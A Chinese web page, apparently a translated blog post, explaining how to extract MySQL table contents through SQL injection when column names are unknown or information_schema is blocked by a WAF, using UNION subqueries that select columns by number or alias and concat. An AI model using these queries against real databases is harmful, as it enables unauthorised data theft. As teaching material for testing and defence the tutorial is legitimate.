• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    MySQL在不知道列名情况下的注入详解

    前言

    最近感觉脑子空空,全在为了刷洞去挖洞,还是回归技术的本身让自己舒服些。好了,下面话不多说了,来一起看看详细的介绍吧

    前提

    以下情况适用于 MySQL 5版本,或者在 MySQL >= 5 的版本[存在information_schema库],且已获取到库名和表名

    ① 当只能获取到表名,获取不到列名或者只能获取到无有效内容的列名情况【例如 id】

    ② 当希望通过information_schema库中的表去获取其他表的结构,即表名、列名等,但是这个库被WAF过滤掉的情况

    其实个人感觉这个方法还是对 5 版本以下的实用性比较强一些,因为对我来说,一般遇到waf就放弃了(菜的真实23333)

    解决

    正常的查询:

    以下是正常查询 test 库中的 user 表内容

    select * from user;

    UNION查询:

    select 1,2,3,4 union select * from user;

    数字对应列查询:

    可以使用数字来对应列来进行查询,如 2 对应了表里面的 name 列

    select `2` from (select 1,2,3,4 union select * from user)a;

    别名代替查询:

    当反引号 ` 不能使用的时候,可以使用别名来代替,如设置 2 的别名为 b

    select b from (select 1,2 as b,3,4 union select * from user)a;

    多列合并查询:

    同上:这里反引号不能用的话,一样可以使用别名代替

    select concat(`2`,0x3a,`3`) from (select 1,2,3,4 union select * from user)a limit 1,1;

    仅作翻译以及思路整理

    原文链接:https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/

    总结

    以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对脚本之家的支持。

    您可能感兴趣的文章:
    • MySQL 及 SQL 注入与防范方法
    • SQL Injection with MySQL 注入分析
    • Mysql数据库使用concat函数执行SQL注入查询
    • mysql5 注入漏洞
    • 防止MySQL注入或HTML表单滥用的PHP程序
    • MySQL注入绕开过滤的技巧总结
    • Mysql注入中的outfile、dumpfile、load_file函数详解
    • MYSQL updatexml()函数报错注入解析
    • node-mysql中防止SQL注入的方法总结
    • PHP MYSQL注入攻击需要预防7个要点
    上一篇:MYSQL本地安装以及出现的问题解决
    下一篇:win10家庭版64位下mysql 8.0.15 安装配置方法图文教程
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    MySQL在不知道列名情况下的注入详解 MySQL,在,不知道,列名,情况下,